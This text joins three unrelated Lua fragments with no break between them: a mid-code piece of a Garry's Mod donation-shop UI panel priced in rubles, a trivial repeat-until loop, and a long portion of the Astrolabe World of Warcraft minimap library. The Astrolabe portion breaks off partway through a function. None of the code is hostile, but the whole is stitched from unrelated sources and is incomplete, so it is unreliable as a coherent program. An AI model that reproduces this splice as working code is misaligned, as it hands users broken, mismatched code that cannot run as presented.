:FadeHover(_DUSTCODE_DONATE.Colors.buyBtnHover) local mat = _DUSTCODE_DONATE:GetImage(data.icon.name) local icon = vgui.Create("DPanel", item) icon:TDLib() :ClearPaint() :Stick(FILL, 10) :SquareFromHeight() if data.model and (data.model != "") then local model = vgui.Create("DAdjustableModelPanel", icon) model:Dock(FILL) model:SetModel(data.model) model:SetCamPos(Vector(131.452362, 13.228242, -3.541138)) model:SetLookAng(Angle(-11.466, 184.647, 0.000)) model:SetFOV(49.677134609016) function model:LayoutEntity( Entity ) return end else icon:Material(mat) icon.OnCursorEntered = function(s) icon:SetCursor('hand') end end item.OnCursorEntered = function(s) item:SetCursor('hand') end buyBtn.DoClick = function(s) BuyItem(data, data.unique_id) end grid:AddItem(item) if (data.discount) and (data.discount > 0) then local skidka = vgui.Create("DPanel", item) skidka:SetSize(120,32) skidka:SetPos(item:GetWide()-skidka:GetWide(), 50) skidka:TDLib() :ClearPaint() //:Gradient(Color(184, 18, 19,255), RIGHT, 0.9) :Gradient(_DUSTCODE_DONATE.Colors.background, RIGHT, 1) :Blur(1) local oldPaint = skidka.Paint skidka.Paint = function(s,w,h) oldPaint(s,w,h) surface.SetDrawColor(HSVToColor(CurTime() * 40 % 360, 1, 1)) surface.SetMaterial(discountIcon) surface.DrawTexturedRect(w-32,0,32,32) draw.SimpleText("-"..(data.discount*100).."%", "DustCode_Normal", w-35, h/2, color_white, TEXT_ALIGN_RIGHT, TEXT_ALIGN_CENTER) end buyBtn:DualText( data.price.."RUB", "DustCode_SmallStrike", color_black, (data.price-(data.price*data.discount)).." RUB", "DustCode_Small", color_white, TEXT_ALIGN_CENTER ) else buyBtn:Text((data.price-(data.price*data.discount)).." RUB", "DustCode_Small") end end end vgui.Register("DustCode_Items", PANEL, "DScrollPanel")
a = 10 repeat print("value of a:", a) a = a + 1 until( a > 15 )
--[[ Name: Astrolabe Author(s): Esamynn (esamynn at wowinterface.com) Inspired By: Gatherer by Norganna MapLibrary by Kristofer Karlsson (krka at kth.se) Documentation: http://wiki.esamynn.org/Astrolabe SVN: http://svn.esamynn.org/astrolabe/ Description: This is a library for the World of Warcraft UI system to place icons accurately on both the Minimap and on Worldmaps. This library also manages and updates the position of Minimap icons automatically. Copyright (C) 2006-2012 James Carrothers License: This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Note: This library's source code is specifically designed to work with World of Warcraft's interpreted AddOn system. You have an implicit licence to use this library with these facilities since that is its designated purpose as per: http://www.fsf.org/licensing/licenses/gpl-faq.html#InterpreterIncompat ]] -- WARNING!!! -- DO NOT MAKE CHANGES TO THIS LIBRARY WITHOUT FIRST CHANGING THE LIBRARY_VERSION_MAJOR -- STRING (to something unique) OR ELSE YOU MAY BREAK OTHER ADDONS THAT USE THIS LIBRARY!!! local LIBRARY_VERSION_MAJOR = "Astrolabe-1.0" local LIBRARY_VERSION_MINOR = 162 if not DongleStub then error(LIBRARY_VERSION_MAJOR .. " requires DongleStub.") end if not DongleStub:IsNewerVersion(LIBRARY_VERSION_MAJOR, LIBRARY_VERSION_MINOR) then return end local Astrolabe = {}; -- define local variables for Data Tables (defined at the end of this file) local WorldMapSize, MicroDungeonSize, MinimapSize, ValidMinimapShapes, zeroData; function Astrolabe:GetVersion() return LIBRARY_VERSION_MAJOR, LIBRARY_VERSION_MINOR; end -------------------------------------------------------------------------------------------------------------- -- Config Constants -------------------------------------------------------------------------------------------------------------- local configConstants = { MinimapUpdateMultiplier = true, } -- this constant is multiplied by the current framerate to determine -- how many icons are updated each frame Astrolabe.MinimapUpdateMultiplier = 1; -------------------------------------------------------------------------------------------------------------- -- Working Tables -------------------------------------------------------------------------------------------------------------- Astrolabe.LastPlayerPosition = { 0, 0, 0, 0 }; Astrolabe.MinimapIcons = {}; Astrolabe.IconAssociations = {}; Astrolabe.IconsOnEdge = {}; Astrolabe.IconsOnEdge_GroupChangeCallbacks = {}; Astrolabe.TargetMinimapChanged_Callbacks = {}; Astrolabe.MinimapIconCount = 0 Astrolabe.ForceNextUpdate = false; Astrolabe.IconsOnEdgeChanged = false; Astrolabe.DefaultEdgeRangeMultiplier = 1; Astrolabe.EdgeRangeMultiplier = {}; setmetatable(Astrolabe.EdgeRangeMultiplier, { __index = function(t,k) local d = Astrolabe.DefaultEdgeRangeMultiplier; -- this works because we always update the Astrolabe local variable if ( type(k) == "table" ) then t[k] = d; end; return d; end } ); -- This variable indicates whether we know of a visible World Map or not. -- The state of this variable is controlled by the AstrolabeMapMonitor library. Astrolabe.WorldMapVisible = false; local AddedOrUpdatedIcons = {} local MinimapIconsMetatable = { __index = AddedOrUpdatedIcons } -------------------------------------------------------------------------------------------------------------- -- Local Pointers for often used API functions -------------------------------------------------------------------------------------------------------------- local twoPi = math.pi * 2; local atan2 = math.atan2; local sin = math.sin; local cos = math.cos; local abs = math.abs; local sqrt = math.sqrt; local min = math.min local max = math.max local yield = coroutine.yield local next = next local GetFramerate = GetFramerate local band = bit.band local issecurevariable = issecurevariable local real_GetCurrentMapAreaID = GetCurrentMapAreaID local function GetCurrentMapAreaID() local id = real_GetCurrentMapAreaID(); if ( id < 0 and GetCurrentMapContinent() == WORLDMAP_AZEROTH_ID ) then return 0; end return id; end -------------------------------------------------------------------------------------------------------------- -- Internal Utility Functions -------------------------------------------------------------------------------------------------------------- local function assert(level,condition,message) if not condition then error(message,level) end end local function argcheck(value, num, ...) assert(1, type(num) == "number", "Bad argument #2 to 'argcheck' (number expected, got " .. type(num) .. ")") for i=1,select("#", ...) do if type(value) == select(i, ...) then return end end local types = strjoin(", ", ...) local name = string.match(debugstack(2,2,0), ": in function [`<](.-)['>]") error(string.format("Bad argument #%d to 'Astrolabe.%s' (%s expected, got %s)", num, name, types, type(value)), 3) end local function getSystemPosition( mapData, f, x, y ) if ( f ~= 0 ) then mapData = rawget(mapData, f) or MicroDungeonSize[mapData.originSystem][f]; end x = x * mapData.width + mapData.xOffset; y = y * mapData.height + mapData.yOffset; return x, y; end local function printError( ... ) if ( ASTROLABE_VERBOSE) then print(...) end end -------------------------------------------------------------------------------------------------------------- -- General Utility Functions -------------------------------------------------------------------------------------------------------------- function Astrolabe:ComputeDistance( m1, f1, x1, y1, m2, f2, x2, y2 ) --[[ argcheck(m1, 2, "number"); assert(3, m1 >= 0, "ComputeDistance: Illegal map id to m1: "..m1); argcheck(f1, 3, "number", "nil"); argcheck(x1, 4, "number"); argcheck(y1, 5, "number"); argcheck(m2, 6, "number"); assert(3, m2 >= 0, "ComputeDistance: Illegal map id to m2: "..m2); argcheck(f2, 7, "number", "nil"); argcheck(x2, 8, "number"); argcheck(y2, 9, "number"); --]] if not ( m1 and m2 ) then return end; f1 = f1 or min(#WorldMapSize[m1], 1); f2 = f2 or min(#WorldMapSize[m2], 1); local dist, xDelta, yDelta; if ( m1 == m2 and f1 == f2 ) then -- points in the same zone on the same floor local mapData = WorldMapSize[m1]; if ( f1 ~= 0 ) then mapData = rawget(mapData, f1) or MicroDungeonSize[mapData.originSystem][f1]; end xDelta = (x2 - x1) * mapData.width; yDelta = (y2 - y1) * mapData.height; else local map1 = WorldMapSize[m1]; local map2 = WorldMapSize[m2]; if ( map1.system == map2.system ) then -- points within the same system (continent) x1, y1 = getSystemPosition(map1, f1, x1, y1); x2, y2 = getSystemPosition(map2, f2, x2, y2); xDelta = (x2 - x1); yDelta = (y2 - y1); else local s1 = map1.system; local s2 = map2.system; if ( (m1==0 or WorldMapSize[0][s1]) and (m2==0 or WorldMapSize[0][s2]) ) then x1, y1 = getSystemPosition(map1, f1, x1, y1); x2, y2 = getSystemPosition(map2, f2, x2, y2); if ( m1 ~= 0 ) then -- translate up from system 1 local cont1 = WorldMapSize[0][s1]; x1 = (x1 - cont1.xOffset) * cont1.scale; y1 = (y1 - cont1.yOffset) * cont1.scale; end if ( m2 ~= 0 ) then -- translate up from system 2 local cont2 = WorldMapSize[0][s2]; x2 = (x2 - cont2.xOffset) * cont2.scale; y2 = (y2 - cont2.yOffset) * cont2.scale; end xDelta = x2 - x1; yDelta = y2 - y1; end end end if ( xDelta and yDelta ) then dist = sqrt(xDelta*xDelta + yDelta*yDelta); end return dist, xDelta, yDelta; end function Astrolabe:TranslateWorldMapPosition( M, F, xPos, yPos, nM, nF ) --[[ argcheck(M, 2, "number"); argcheck(F, 3, "number", "nil"); argcheck(xPos, 4, "number"); argcheck(yPos, 5, "number"); argcheck(nM, 6, "number"); argcheck(nF, 7, "number", "nil"); --]] if not ( M and nM ) then return end; F = F or min(#WorldMapSize[M], 1); nF = nF or min(#WorldMapSize[nM], 1); if ( nM < 0 ) then return; end local mapData; if ( M == nM and F == nF ) then return xPos, yPos; else local map = WorldMapSize[M]; local nMap = WorldMapSize[nM]; if ( map.system == nMap.system ) then -- points within the same system (continent) xPos, yPos = getSystemPosition(map, F, xPos, yPos); mapData = WorldMapSize[nM]; if ( nF ~= 0 ) then mapData = rawget(mapData, nF) or MicroDungeonSize[mapData.originSystem][nF]; end else -- different continents, same world local S = map.system; local nS = nMap.system; if ( (M==0 or WorldMapSize[0][S]) and (nM==0 or WorldMapSize[0][nS]) ) then mapData = WorldMapSize[M]; xPos, yPos = getSystemPosition(mapData, F, xPos, yPos); if ( M ~= 0 ) then -- translate up to world map if we aren't there already local cont = WorldMapSize[0][S]; xPos = (xPos - cont.xOffset) * cont.scale; yPos = (yPos - cont.yOffset) * cont.scale; mapData = WorldMapSize[0]; end if ( nM ~= 0 ) then -- translate down to the new continent local nCont = WorldMapSize[0][nS]; xPos = (xPos / nCont.scale) + nCont.xOffset; yPos = (yPos / nCont.scale) + nCont.yOffset; mapData = WorldMapSize[nM]; if ( nF ~= 0 ) then mapData = rawget(mapData, nF) or MicroDungeonSize[mapData.originSystem][nF]; end end else return; end end -- need to account for the offset in the new system so we can -- correctly translate into 0-1 style coordinates xPos = xPos - mapData.xOffset; yPos = yPos - mapData.yOffset; end return (xPos / mapData.width), (yPos / mapData.height); end --***************************************************************************** -- This function will do its utmost to retrieve some sort of valid position -- for the specified unit, including changing the current map zoom (if needed). -- Map Zoom is returned to its previous setting before this function returns. --***************************************************************************** function Astrolabe:GetUnitPosition( unit, noMapChange ) local x, y = GetPlayerMapPosition(unit); if ( x <= 0 and y <= 0 ) then if ( noMapChange ) then -- no valid position on the current map, and we aren't allowed -- to change map zoom, so return return; end local lastMapID, lastFloor = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(); SetMapToCurrentZone(); x, y = GetPlayerMapPosition(unit); if ( x <= 0 and y <= 0 ) then -- attempt to zoom out once - logic copied from WorldMapZoomOutButton_OnClick() if ( ZoomOut() ) then -- do nothing elseif ( GetCurrentMapZone() ~= WORLDMAP_AZEROTH_ID ) then SetMapZoom(GetCurrentMapContinent()); else SetMapZoom(WORLDMAP_AZEROTH_ID); end x, y = GetPlayerMapPosition(unit); if ( x <= 0 and y <= 0 ) then -- we are in an instance without a map or otherwise off map return; end end local M, F = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(); if ( M ~= lastMapID or F ~= lastFloor ) then -- set map zoom back to what it was before SetMapByID(lastMapID); SetDungeonMapLevel(lastFloor); end return M, F, x, y; end return GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(), x, y; end --***************************************************************************** -- This function will do its utmost to retrieve some sort of valid position -- for the specified unit, including changing the current map zoom (if needed). -- However, if a monitored WorldMapFrame (See AstrolabeMapMonitor.lua) is -- visible, then will simply return nil if the current zoom does not provide -- a valid position for the player unit. Map Zoom is NOT returned to its previous -- setting before this function returns, in order to provide better performance. --***************************************************************************** function Astrolabe:GetCurrentPlayerPosition() local x, y = GetPlayerMapPosition("player"); if ( x <= 0 and y <= 0 ) then if ( self.WorldMapVisible ) then -- we know there is a visible world map, so don't cause -- WORLD_MAP_UPDATE events by changing map zoom return; end SetMapToCurrentZone(); x, y = GetPlayerMapPosition("player"); if ( x <= 0 and y <= 0 ) then -- attempt to zoom out once - logic copied from WorldMapZoomOutButton_OnClick() if ( ZoomOut() ) then -- do nothing elseif ( GetCurrentMapZone() ~= WORLDMAP_AZEROTH_ID ) then SetMapZoom(GetCurrentMapContinent()); else SetMapZoom(WORLDMAP_AZEROTH_ID); end x, y = GetPlayerMapPosition("player"); if ( x <= 0 and y <= 0 ) then -- we are in an instance without a map or otherwise off map return; end end end return GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(), x, y; end function Astrolabe:GetMapID(continent, zone) zone = zone or 0; local ret = self.ContinentList[continent]; if ( ret ) then return ret[zone]; end if ( continent == 0 and zone == 0 ) then return 0; end end function Astrolabe:GetNumFloors( mapID ) if ( type(mapID) == "number" ) then local mapData = WorldMapSize[mapID] return #mapData end end function Astrolabe:GetMapInfo( mapID, mapFloor ) argcheck(mapID, 2, "number"); assert(3, mapID >= 0, "GetMapInfo: Illegal map id to mapID: "..mapID); argcheck(mapFloor, 3, "number", "nil"); mapFloor = mapFloor or min(#WorldMapSize[mapID], 1); local mapData = WorldMapSize[mapID]; local system, systemParent = mapData.system, WorldMapSize[0][mapData.system] and true or false if ( mapFloor ~= 0 ) then mapData = rawget(mapData, mapFloor) or MicroDungeonSize[mapData.originSystem][mapFloor]; end if ( mapData ~= zeroData ) then return system, systemParent, mapData.width, mapData.height, mapData.xOffset, mapData.yOffset; end end function Astrolabe:GetMapFilename( mapID ) local mapData = self.HarvestedMapData[mapID] if ( mapData ) then return mapData.mapName end end -------------------------------------------------------------------------------------------------------------- -- Working Table Cache System -------------------------------------------------------------------------------------------------------------- local tableCache = {}; tableCache["__mode"] = "v"; setmetatable(tableCache, tableCache); local function GetWorkingTable( icon ) if ( tableCache[icon] ) then return tableCache[icon]; else local T = {}; tableCache[icon] = T; return T; end end -------------------------------------------------------------------------------------------------------------- -- Minimap Icon Placement -------------------------------------------------------------------------------------------------------------- --***************************************************************************** -- local variables specifically for use in this section --***************************************************************************** local minimapRotationEnabled = false; local minimapShape = false; local minimapRotationOffset = GetPlayerFacing(); local function placeIconOnMinimap( minimap, minimapZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, edgeRangeMultiplier ) local mapDiameter; if ( Astrolabe.minimapOutside ) then mapDiameter = MinimapSize.outdoor[minimapZoom]; else mapDiameter = MinimapSize.indoor[minimapZoom]; end local mapRadius = mapDiameter * edgeRangeMultiplier / 2; local xScale = mapDiameter / mapWidth; local yScale = mapDiameter / mapHeight; local iconDiameter = ((icon:GetWidth() / 2) + 3) * xScale; local iconOnEdge = nil; local isRound = true; if ( minimapRotationEnabled ) then local sinTheta = sin(minimapRotationOffset) local cosTheta = cos(minimapRotationOffset) --[[ Math Note The math that is acutally going on in the next 3 lines is: local dx, dy = xDist, -yDist xDist = (dx * cosTheta) + (dy * sinTheta) yDist = -((-dx * sinTheta) + (dy * cosTheta)) This is because the origin for map coordinates is the top left corner of the map, not the bottom left, and so we have to reverse the vertical distance when doing the our rotation, and then reverse the result vertical distance because this rotation formula gives us a result with the origin based in the bottom left corner (of the (+, +) quadrant). The actual code is a simplification of the above. ]] local dx, dy = xDist, yDist xDist = (dx * cosTheta) - (dy * sinTheta) yDist = (dx * sinTheta) + (dy * cosTheta) end if ( minimapShape and not (xDist == 0 or yDist == 0) ) then isRound = (xDist < 0) and 1 or 3; if ( yDist < 0 ) then isRound = minimapShape[isRound]; else isRound = minimapShape[isRound + 1]; end end -- for non-circular portions of the Minimap edge if not ( isRound ) then dist = max(abs(xDist), abs(yDist)) end if ( (dist + iconDiameter) > mapRadius ) then -- position along the outside of the Minimap iconOnEdge = true; local factor = (mapRadius - iconDiameter) / dist; xDist = xDist * factor; yDist = yDist * factor; end if ( Astrolabe.IconsOnEdge[icon] ~= iconOnEdge ) then Astrolabe.IconsOnEdge[icon] = iconOnEdge; Astrolabe.IconsOnEdgeChanged = true; end icon:ClearAllPoints(); icon:SetPoint("CENTER", minimap, "CENTER", xDist/xScale, -yDist/yScale); end function Astrolabe:PlaceIconOnMinimap( icon, mapID, mapFloor, xPos, yPos ) -- check argument types argcheck(icon, 2, "table"); assert(3, icon.SetPoint and icon.ClearAllPoints and icon.GetWidth, "Usage Message"); argcheck(mapID, 3, "number"); argcheck(mapFloor, 4, "number", "nil"); argcheck(xPos, 5, "number"); argcheck(yPos, 6, "number"); -- if the positining system is currently active, just use the player position used by the last incremental (or full) update -- otherwise, make sure we base our calculations off of the most recent player position (if one is available) local lM, lF, lx, ly; if ( self.processingFrame:IsShown() ) then lM, lF, lx, ly = unpack(self.LastPlayerPosition); else lM, lF, lx, ly = self:GetCurrentPlayerPosition(); if ( lM and lM >= 0 ) then local lastPosition = self.LastPlayerPosition; lastPosition[1] = lM; lastPosition[2] = lF; lastPosition[3] = lx; lastPosition[4] = ly; else lM, lF, lx, ly = unpack(self.LastPlayerPosition); end end local dist, xDist, yDist = self:ComputeDistance(lM, lF, lx, ly, mapID, mapFloor, xPos, yPos); if not ( dist ) then --icon's position has no meaningful position relative to the player's current location return -1; end local iconData = GetWorkingTable(icon); if ( self.MinimapIcons[icon] ) then self.MinimapIcons[icon] = nil; else self.MinimapIconCount = self.MinimapIconCount + 1 end AddedOrUpdatedIcons[icon] = iconData iconData.mapID = mapID; iconData.mapFloor = mapFloor; iconData.xPos = xPos; iconData.yPos = yPos; iconData.dist = dist; iconData.xDist = xDist; iconData.yDist = yDist; minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0" if ( minimapRotationEnabled ) then minimapRotationOffset = GetPlayerFacing(); end -- check Minimap Shape minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()]; -- place the icon on the Minimap and :Show() it local map = self.Minimap placeIconOnMinimap(map, map:GetZoom(), map:GetWidth(), map:GetHeight(), icon, dist, xDist, yDist, self.EdgeRangeMultiplier[icon]); -- re-parent the icon if necessary if ( icon.GetParent and icon.SetParent ) then local iconParent = icon:GetParent() if ( iconParent) then if ( iconParent == map ) then -- do nothing elseif ( iconParent:IsObjectType("Minimap") ) then icon:SetParent(map); else -- just in case our icon has an ancestor inbetween it and the Minimap iconParent = iconParent:GetParent() if ( iconParent and iconParent ~= map and iconParent:IsObjectType("Minimap") ) then iconParent:SetParent(map); end end end end icon:Show() -- We know this icon's position is valid, so we need to make sure the icon placement system is active. self.processingFrame:Show() return 0; end function Astrolabe:RemoveIconFromMinimap( icon ) if not ( self.MinimapIcons[icon] ) then return 1; end AddedOrUpdatedIcons[icon] = nil self.MinimapIcons[icon] = nil; self.IconsOnEdge[icon] = nil; icon:Hide(); local MinimapIconCount = self.MinimapIconCount - 1 if ( MinimapIconCount <= 0 ) then -- no icons left to manage self.processingFrame:Hide() MinimapIconCount = 0 -- because I'm paranoid end self.MinimapIconCount = MinimapIconCount return 0; end function Astrolabe:RemoveAllMinimapIcons( assocName ) argcheck(assocName, 2, "string", "nil"); if ( assocName == nil ) then -- remove all icons self:DumpNewIconsCache(); local MinimapIcons = self.MinimapIcons; local IconsOnEdge = self.IconsOnEdge; for icon, data in pairs(MinimapIcons) do MinimapIcons[icon] = nil; IconsOnEdge[icon] = nil; icon:Hide(); end self.MinimapIconCount = 0; self.processingFrame:Hide(); else -- remove just icons that match the specified association for icon, iconAssoc in pairs(self.IconAssociations) do if ( iconAssoc == assocName ) then self:RemoveIconFromMinimap(icon) end end end end local lastZoom; -- to remember the last seen Minimap zoom level -- local variables to track the status of the two update coroutines local fullUpdateInProgress = true local resetIncrementalUpdate = false local resetFullUpdate = false -- Incremental Update Code do -- local variables to track the incremental update coroutine local incrementalUpdateCrashed = true local incrementalUpdateThread local function UpdateMinimapIconPositions( self ) -- cache a reference to EdgeRangeMultiplier, for performance local EdgeRangeMultiplier = self.EdgeRangeMultiplier; yield() while ( true ) do self:DumpNewIconsCache() -- put new/updated icons into the main datacache resetIncrementalUpdate = false -- by definition, the incremental update is reset if it is here local M, F, x, y = self:GetCurrentPlayerPosition(); if ( M and M >= 0 ) then local Minimap = Astrolabe.Minimap; local lastPosition = self.LastPlayerPosition; local lM, lF, lx, ly = unpack(lastPosition); minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0" if ( minimapRotationEnabled ) then minimapRotationOffset = GetPlayerFacing(); end -- check current frame rate local numPerCycle = min(50, GetFramerate() * (self.MinimapUpdateMultiplier or 1)) -- check Minimap Shape minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()]; if ( lM == M and lF == F and lx == x and ly == y ) then -- player has not moved since the last update if ( lastZoom ~= Minimap:GetZoom() or self.ForceNextUpdate or minimapRotationEnabled ) then local currentZoom = Minimap:GetZoom(); lastZoom = currentZoom; local mapWidth = Minimap:GetWidth(); local mapHeight = Minimap:GetHeight(); numPerCycle = numPerCycle * 2 local count = 0 for icon, data in pairs(self.MinimapIcons) do placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, data.dist, data.xDist, data.yDist, EdgeRangeMultiplier[icon]); count = count + 1 if ( count > numPerCycle ) then count = 0 yield() -- check if the incremental update cycle needs to be reset -- because a full update has been run if ( resetIncrementalUpdate ) then break; end end end self.ForceNextUpdate = false; end else local dist, xDelta, yDelta = self:ComputeDistance(lM, lF, lx, ly, M, F, x, y); if ( dist ) then local currentZoom = Minimap:GetZoom(); lastZoom = currentZoom; local mapWidth = Minimap:GetWidth(); local mapHeight = Minimap:GetHeight(); local count = 0 for icon, data in pairs(self.MinimapIcons) do local xDist = data.xDist - xDelta; local yDist = data.yDist - yDelta; local dist = sqrt(xDist*xDist + yDist*yDist); placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, EdgeRangeMultiplier[icon]); data.dist = dist; data.xDist = xDist; data.yDist = yDist; count = count + 1 if ( count >= numPerCycle ) then count = 0 yield() -- check if the incremental update cycle needs to be reset -- because a full update has been run if ( resetIncrementalUpdate ) then break; end end end if not ( resetIncrementalUpdate ) then lastPosition[1] = M; lastPosition[2] = F; lastPosition[3] = x; lastPosition[4] = y; end else self:RemoveAllMinimapIcons() lastPosition[1] = M; lastPosition[2] = F; lastPosition[3] = x; lastPosition[4] = y; end end else if not ( self.WorldMapVisible ) then self.processingFrame:Hide(); end end -- if we've been reset, then we want to start the new cycle immediately if not ( resetIncrementalUpdate ) then yield() end end end function Astrolabe:UpdateMinimapIconPositions() if ( fullUpdateInProgress ) then -- if we're in the middle a a full update, we want to finish that first self:CalculateMinimapIconPositions() else if ( incrementalUpdateCrashed ) then incrementalUpdateThread = coroutine.wrap(UpdateMinimapIconPositions) incrementalUpdateThread(self) --initialize the thread end incrementalUpdateCrashed = true incrementalUpdateThread() incrementalUpdateCrashed = false end end end -- Full Update Code do -- local variables to track the full update coroutine local fullUpdateCrashed = true local fullUpdateThread local function CalculateMinimapIconPositions( self ) -- cache a reference to EdgeRangeMultiplier, for performance local EdgeRangeMultiplier = self.EdgeRangeMultiplier; yield() while ( true ) do self:DumpNewIconsCache() -- put new/updated icons into the main datacache resetFullUpdate = false -- by definition, the full update is reset if it is here fullUpdateInProgress = true -- set the flag the says a full update is in progress local M, F, x, y = self:GetCurrentPlayerPosition(); if ( M and M >= 0 ) then local Minimap = Astrolabe.Minimap; minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0" if ( minimapRotationEnabled ) then minimapRotationOffset = GetPlayerFacing(); end -- check current frame rate local numPerCycle = GetFramerate() * (self.MinimapUpdateMultiplier or 1) * 2 -- check Minimap Shape minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()]; local currentZoom = Minimap:GetZoom(); lastZoom = currentZoom; local mapWidth = Minimap:GetWidth(); local mapHeight = Minimap:GetHeight(); local count = 0 for icon, data in pairs(self.MinimapIcons) do local dist, xDist, yDist = self:ComputeDistance(M, F, x, y, data.mapID, data.mapFloor, data.xPos, data.yPos); if ( dist ) then placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, EdgeRangeMultiplier[icon]); data.dist = dist; data.xDist = xDist; data.yDist = yDist; else self:RemoveIconFromMinimap(icon) end count = count + 1 if ( count >= numPerCycle ) then count = 0 yield() -- check if we need to restart due to the full update being reset if ( resetFullUpdate ) then break; end end end if not ( resetFullUpdate ) then local lastPosition = self.LastPlayerPosition; lastPosition[1] = M; lastPosition[2] = F; lastPosition[3] = x; lastPosition[4] = y; resetIncrementalUpdate = true end else if not ( self.WorldMapVisible ) then self.processingFrame:Hide(); end end -- if we've been reset, then we want to start the new cycle immediately if not ( resetFullUpdate ) then fullUpdateInProgress = false yield() end end end function Astrolabe:CalculateMinimapIconPositions( reset ) if ( fullUpdateCrashed ) then fullUpdateThread = coroutine.wrap(CalculateMinimapIconPositions) fullUpdateThread(self) --initialize the thread elseif ( reset ) then resetFullUpdate = true end fullUpdateCrashed = true fullUpdateThread() fullUpdateCrashed = false -- return result flag if ( fullUpdateInProgress ) then return 1 -- full update started, but did not complete on this cycle else if ( resetIncrementalUpdate ) then return 0 -- update completed else return -1 -- full update did no occur for some reason end end end end function Astrolabe:GetDistanceToIcon( icon ) local data = self.MinimapIcons[icon]; if ( data ) then return data.dist, data.xDist, data.yDist; end end function Astrolabe:IsIconOnEdge( icon ) return self.IconsOnEdge[icon]; end function Astrolabe:GetDirectionToIcon( icon ) local data = self.MinimapIcons[icon]; if ( data ) then local dir = atan2(data.xDist, -(data.yDist)) if ( dir > 0 ) then return twoPi - dir; else return -dir; end end end function Astrolabe:AssociateIcon( icon, assocName ) argcheck(icon, 2, "table"); argcheck(assocName, 3, "string", "nil"); self.IconAssociations[icon] = assocName; self.EdgeRangeMultiplier[icon] = self.EdgeRangeMultiplier[assocName]; -- update the icon's edge multiplier self.ForceNextUpdate = true; -- force a redraw end function Astrolabe:GetIconAssociation( icon ) return self.IconAssociations[icon]; end function Astrolabe:SetEdgeRangeMultiplier( multiplier, assocName ) argcheck(multiplier, 2, "number", "nil"); argcheck(assocName, 3, "string", "nil"); assert(3, (multiplier or assocName), "Astrolabe:SetEdgeRangeMultiplier( multiplier, [assocName] ) - at least one argument must be specificed"); assert(3, (not multiplier or multiplier > 0), "Astrolabe:SetEdgeRangeMultiplier( multiplier, [assocName] ) - mutliplier must be greater than zero"); local EdgeRangeMultiplier = self.EdgeRangeMultiplier; local IconAssociations = self.IconAssociations; if ( assocName == nil ) then -- set the default multiplier self.DefaultEdgeRangeMultiplier = multiplier; for icon in pairs(EdgeRangeMultiplier) do local iconAssoc = IconAssociations[icon]; if ( type(icon) == "table" and (not iconAssoc or rawget(EdgeRangeMultiplier, iconAssoc) == nil) ) then EdgeRangeMultiplier[icon] = multiplier; end end else -- set the multiplier for specific icons EdgeRangeMultiplier[assocName] = multiplier; for icon, iconAssoc in pairs(IconAssociations) do if ( iconAssoc == assocName ) then EdgeRangeMultiplier[icon] = multiplier; end end end self.ForceNextUpdate = true; -- force a redraw end function Astrolabe:GetEdgeRangeMultiplier( assocOrIcon ) argcheck(assocOrIcon, 2, "table", "string", "nil"); return rawget(self.EdgeRangeMultiplier, assocOrIcon) or self.DefaultEdgeRangeMultiplier; end function Astrolabe:Register_OnEdgeChanged_Callback( func, ident ) argcheck(func, 2, "function"); self.IconsOnEdge_GroupChangeCallbacks[func] = ident; end function Astrolabe:SetTargetMinimap( newMinimap ) if ( newMinimap == self.Minimap ) then return; -- no change end argcheck(newMinimap, 2, "table"); assert(3, issecurevariable(newMinimap, 0), "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap"); assert(3, newMinimap.IsObjectType, "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap"); assert(3, type(newMinimap.IsObjectType) == "function", "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap"); assert(3, newMinimap:IsObjectType("Minimap"), "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap"); local oldMinimap = self.Minimap; self.processingFrame:SetParent(newMinimap); self.Minimap = newMinimap; self:CalculateMinimapIconPositions(true); -- re-anchor all currently managed icons -- re-parent all currently managed icons for icon, data in pairs(self.MinimapIcons) do if ( icon.GetParent and icon.SetParent ) then if ( icon:GetParent() == oldMinimap ) then icon:SetParent(newMinimap); elseif ( icon:GetParent() and icon:GetParent():GetParent() == oldMinimap ) then -- just incase our icons have an ancestor inbetween them and the Minimap icon:GetParent():SetParent(newMinimap); end end end for func in pairs(self.TargetMinimapChanged_Callbacks) do pcall(func); end end function Astrolabe:Register_TargetMinimapChanged_Callback( func, ident ) -- check argument types argcheck(func, 2, "function"); self.TargetMinimapChanged_Callbacks[func] = ident; end --***************************************************************************** -- INTERNAL USE ONLY PLEASE!!! -- Calling this function at the wrong time can cause errors --***************************************************************************** function Astrolabe:DumpNewIconsCache() local MinimapIcons = self.MinimapIcons for icon, data in pairs(AddedOrUpdatedIcons) do MinimapIcons[icon] = data AddedOrUpdatedIcons[icon] = nil end -- we now need to restart any updates that were in progress resetIncrementalUpdate = true resetFullUpdate = true end -------------------------------------------------------------------------------------------------------------- -- World Map Icon Placement -------------------------------------------------------------------------------------------------------------- function Astrolabe:PlaceIconOnWorldMap( worldMapFrame, icon, mapID, mapFloor, xPos, yPos ) -- check argument types argcheck(worldMapFrame, 2, "table"); assert(3, worldMapFrame.GetWidth and worldMapFrame.GetHeight, "Usage Message"); argcheck(icon, 3, "table"); assert(3, icon.SetPoint and icon.ClearAllPoints, "Usage Message"); argcheck(mapID, 4, "number"); argcheck(mapFloor, 5, "number", "nil"); 